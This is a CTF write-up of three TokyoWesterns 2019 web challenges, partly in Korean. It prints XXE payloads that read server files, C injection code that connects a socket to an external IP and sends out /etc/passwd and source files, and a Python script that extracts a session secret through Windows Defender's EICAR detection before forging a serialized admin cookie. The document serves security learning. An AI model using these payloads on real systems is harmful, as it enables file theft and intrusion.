---
# System prepended metadata

title: TokyoWesterns CTF 2019

---

# TokyoWesterns CTF 2019

## j2x2j

This chall convert JSON to XML or XML to JSON.
when convert XML to JSON, it is vulnerable to XXE.
So, i can leak /etc/passwd or arbitrary file easily.
```xml
<?xml version="1.0"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
  &xxe;
</root>
```
But, it is not working to leak php file with some error message "failed to decode xml".
I think it can not parse to php file.
(I don't know exactly how to parse this chall.)
So, i use php protocol for leak **flag.php**.

```xml
<?xml version="1.0"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<root>
  &xxe;
</root>
```
Finally, i got a flag.

**FLAG** : TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}

## Oneline Calc
This chall consists of two flag.
### FLAG1
flag1 is in `calc.php`.
It just support to simple calculation.
We can think it was operated by eval.
So, i try to eval injection.
But, it's not working.
After about 30 minutes, i recognize it is not php eval.
Actually it is C eval, therefore I guess how it works as "PHP->C->PHP".
But C is return uint_8 value, we can leak byte to byte.
In order to leak all data once, i try to socket programming.
it's careful because it have not macro or struct.
Here is my Query:
```c
mmap(0x60000000,1024,7,34,-1,0);
socket(2,1,0);
connect(3,"\x02\x00\x7a\x69\xc6\x0d\x33\xf4\x00\x00\x00\x00\x00\x00\x00\x00",16);
dup2(3,0);
dup2(3,1);
dup2(3,2);
fread(0x60000000,1,1024,fopen("/etc/passwd","r"));
write(3,0x60000000,1024);
```
But, we can't leak source because of permission.
Basically it have nobody permission.
It can't open source code at running time.
But during compile, it have www-data permission.
So i use this code and get flag.
This code is leak file during compile time as `file_start` variable.
Query : 
```c
123; %> 
__asm__(".globl file_start; file_start: .incbin \"/srv/olc/files/template.c\"");
extern char file_start[];
__attribute__((constructor)) void setup1() <% 
socket(2,1,0);
connect(3,%22\x02\x00\x7a\x69\xc6\x0d\x33\xf4\x00\x00\x00\x00\x00\x00\x00\x00%22,16);
dup2(3,0);
dup2(3,1);
dup2(3,2);
write(3,file_start,0x1000);
%>;
void g()<% int res=1;
```

```php
<?php
// TWCTF{1nsecure_c0mpiling_with_C_78024f34fd92e04734533a7e174807da}
/*
Notification for flag2
- `/var/tmp` is the place for you to store some data where cannot be listed by others.
- execute `/readflag2` to get flag (/flag2).
*/

require __DIR__ . '/../vendor/autoload.php';
require 'sse.php';

ini_set('display_errors', 'On');

define('OCDIR', '/var/tmp/oc');
define('TEMPLATE_PATH', __DIR__ . '/../files/template.c');
define('RUNNER_PATH', __DIR__ . '/../files/run');

class Calc {
    public function __construct($dir) {
        $this->tmp = tempnam($dir, 'oc');
        $this->src = $this->tmp . '.c';
        $this->bin = $this->tmp . '.bin';
        system("touch \"{$this->src}\" \"{$this->bin}\"");
        system("chmod 0600 \"{$this->src}\" \"{$this->bin}\"");
    }

    private function template($formula) {
        $template = file_get_contents(TEMPLATE_PATH);
        if (!file_put_contents($this->src, str_replace('__FORMULA__', $formula, $template))) {
            sse_err('failed to template');
        }
    }

    private function compile() {
        $proc = (new Ko\ProcessManager())->fork(function(Ko\Process $p) {
	    chdir("/var/tmp/oc");
            putenv("PATH=/usr/bin");
	    pcntl_exec('/usr/bin/gcc', [$this->src, '-o', $this->bin, '-lseccomp', '-pipe']);
	});
        try {
            $proc->waitReady();
            sse_msg('parsing');
        } finally {
            $proc->wait();
        }
        return $proc->getExitCode() === 0;
    }

    private function execute() {
        $proc = (new Ko\ProcessManager())->fork(function(Ko\Process $p) {
            pcntl_exec(RUNNER_PATH, [$this->bin]);
        });
        try {
            $proc->waitReady();
            sse_msg('evaluating');
        } finally {
            $proc->wait();
        }
        return $proc->getExitCode();
    }

    public function eval($formula) {
        $this->template($formula);
        if(!$this->compile()) {
            sse_err('failed to parse');
        }
        return $this->execute();
    }

    private function sanitize($s) {
        $badchars = "\\\n\r\t ";
        foreach(str_split($badchars) as $c) {
            $s = str_replace($c, '', $s);
        }
        return $s;
    }

    private function escape($s) {
        $s = str_replace('..', '', $s);
        $badchars = '"`$';
        foreach(str_split($badchars) as $c) {
            $s = str_replace($c, '\\'.$c, $s);
        }
        return $s;
    }

    public function __destruct() {
        $this->tmp = $this->sanitize($this->tmp);
        $this->src = $this->sanitize($this->src);
        $this->bin = $this->sanitize($this->bin);

        $this->tmp = $this->escape($this->tmp);
        $this->src = $this->escape($this->src);
        $this->bin = $this->escape($this->bin);

        system("rm \"{$this->tmp}\" \"{$this->src}\" \"{$this->bin}\"");
    }
}

$formula = $_GET['formula'];

if (preg_match('/[\r\n\{\}#]/', $formula)) {
    sse_err('invalid char found');
}

if (!file_exists(OCDIR)) {
    mkdir(OCDIR);
}

$calc = new Calc(OCDIR);
sse_msg($calc->eval($formula));
sse_close();
```
**FLAG** : TWCTF{1nsecure_c0mpiling_with_C_78024f34fd92e04734533a7e174807da}


Extra:
Is this chall really web chall?
I dont understand it.
fucking seccomp.
```php
// file/templete.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>

__attribute__((constructor)) void setup() {
    scmp_filter_ctx ctx;

    if (NULL == (ctx = seccomp_init(SCMP_ACT_ALLOW))) {
        exit(-1);
    }

    seccomp_arch_add(ctx, SCMP_ARCH_X86_64);
    seccomp_arch_remove(ctx, SCMP_ARCH_X86);

    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(kill), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(tkill), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(tgkill), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(alarm), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0);

    if (seccomp_load(ctx) < 0) {
        exit(-1);
    }
}

int main() {
    sleep(1);
    int res = __FORMULA__;
    return res;
}
```

### FLAG2
I'm groot.
I retire this.

## PHP Note
기본적으로 이 웹 페이지는 소스코드를 제공해준다.
URL : http://phpnote.chal.ctf.westerns.tokyo/?action=source

```php
class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    ...
    
    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}
...
if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];
    
    $note = @verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}
...
```
음.. 취약점은 unserialize가 확실한데, secret값이 필요하다.
### Secret Leak
근데 여기서 문제가 소스코드에 취약점이 존재하지 않는다.
서버 환경을 보면 어딘가가 이상한 점을 알 수 있다.
평소라면 `Linux + PHP` 환경일텐데, `IIS + PHP`라는 특이한 형태를 하고있다.
윈도우에서만 발생하는 취약점이라는 것을 알 수 있다.
그리하여 PHP Core파일을 분석해본 결과, 해당 소스코드에서 사용되는 코드는 취약점이 존재하지 않았다.
자 취약점이 없는 웹 문제를 풀어보자.

Windows에는 **Windows Defender**가 기본적으로 동작한다.
안티바이러스를 위한 도구는 보통 악성 스크립트를 탐지하고 이를 제거해준다.
보통 패턴매칭 또는 특정한 시그니쳐로 판별하는 경향이 있다.
또한 악성 스크립트라함은 바이너리일수도있지만, html일 수도 있다.
그래서 **Windows Defender**는 javascript를 eval하여 악성 스크립트인지 판단을 한다.
악성 스크립트라 판단되면 해당 파일을 제거한다.

소스코드에는 취약점이 없다.
서버도 취약점이 없다.
OS도 취약점이 없다.
하지만 특정한 파일에 원하는 내용을 넣을 수 있다면 **Windows Defender**를 이용해 파일을 지울 수 있다.

PHP 환경에서 우리가 쓸 수 있는 파일이 존재할 것이다.
누구다 다 알듯이 SESSION파일이다.

Login하는 부분을 보자.
```php
if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}
```
아름답다.
인자가 3개나 존재하는데, 딱 보면 알다시피 순서를 조정할 수 있다.
우리는 secret를 Leak할거니까 secret을 가운데 둬야 한다.
다들 다시겠지만 정렬은 다음과 같이 할 수 있다.
우선 login을 nickname없이 한번 수행하면 session은 realname과 secret값을 차례로 가지고 있을 것이다.
그 다음 nickname을 넣은 후 로그인하면 realname, secret, nickname 순으로 정렬된다.

자 이제 내용이 중요하다.
**Windows Defender**에 대해서는 다음과 같이 간단하게 설명할 수 있다.
우선 아래의 내용은 악성코드의 내용의 일부이며, 실제로 이를 탐지하였을 경우 삭제된다.
```
X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
```
당연히 저렇게 있으면 탐지될 것이다.
이제 몇개의 케이스르 보자.
```javascript
// detected
eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
```

```javascript
// detected
eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+"*");
```

```javascript
// when `what` is set, then dectected
// else, then not detected.
if(what)
    eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+"*".repeat(what));
```
여기까지 보면 각이 나온다.
**Windows Defender**는 javscript를 실행하므로 이를 이용하여 데이터를 한 글자씩 추출할 것이다. 

사용할 코드의 형태는 다음과 같다.
```html
<!-- 
    idx : 0~length, pivot : range of ascii. 
-->
<script>
    var q=document.body.innerHTML;
    var n=q[idx].charCodeAt(0);
    var a='X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H';
    var mal = a+{pivot:'*'}[Math.min(pivot,n)];
    eval(mal)
</script>
<body>
Leak DATA
</body>
```
이 코드를 보면 아까 왜 SESSION을 정렬했는지 알 수 있다.
realname과 nickname는 우리가 조작할 수 있는데, secret은 조작할 수 없으며, 우리가 추출할 값이다.
secret을 추출할 때 사용한 공격코드는 다음과 같다.
```python
import requests

url = "http://phpnote.chal.ctf.westerns.tokyo/?action=login"
query = lambda idx,pivot:'''<script>var q=document.body.innerHTML;var n=q[%d].charCodeAt(0);var a='X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H';var mal = a+{%d:'*'}[Math.min(%d,n)];eval(mal)</script><body>'''%(idx,pivot,pivot)

leak = ''
for idx in range(0,100):
	l = 0
	h = 256
	while h-l > 1:
		pivot = (l+h)/2
		# print idx,l,h,pivot
		data = {
		    "nickname":"",
		    "realname":query(idx,pivot)
		}
		# print query(idx,pivot)

		headers = {
		    "Content-Type":"application/x-www-form-urlencoded",
		}
		cookies = {
			"PHPSESSID":"fd515b47ed85a65c73cc5e7b7e404dd5"
		}

		s = requests.session()
		# for align serialize variable order as `username | secret | nickname`.
		r = s.post(url,data=data,headers=headers)

		data = {
		    "nickname":"</body>shsh01",
		    "realname":query(idx,pivot)
		}

		# check whether or not antivirus detected query pattern.
		# So, if it detected by antvirus, then you would be not login because your session was deleted by antivirus.
		r = s.post(url,data=data,headers=headers)

		if '/?action=login' in r.text:
			l = pivot
		else:
			h = pivot
	leak += chr(l)
	print leak
```
위 코드를 실행하여 nickname이 `</body>shsh01`일때의 secret값을 얻었다.
```
bosycret|s:32:"8a18fedde2884cfe02a3b78eaf6fb477";nickname|s:13:"
```
Secret : 8a18fedde2884cfe02a3b78eaf6fb477

### Get FLAG
이제 이를 가지고 unserialize공격을 하면 플래그를 얻을 수 있다.
공격은 간단하게 Note Object에서 isadmin을 true로 바꿔주면 된다.

**note** : Tzo0OiJOb3RlIjoyOntzOjU6Im5vdGVzIjthOjE6e2k6MDthOjI6e2k6MDtzOjE6IjEiO2k6MTtzOjE6IjEiO319czo3OiJpc2FkbWluIjtiOjE7fQ==
**hmac** : bf9b5e1b36d1e62e43f605f408d36f09641fa9031dc18aeea57431c99e156acc

이를 넣고 `/?action=getflag`에 들어가면 플래그를 얻을 수 있다.

**FLAG** : TWCTF{h0pefully_I_haven't_made_a_m1stake_again}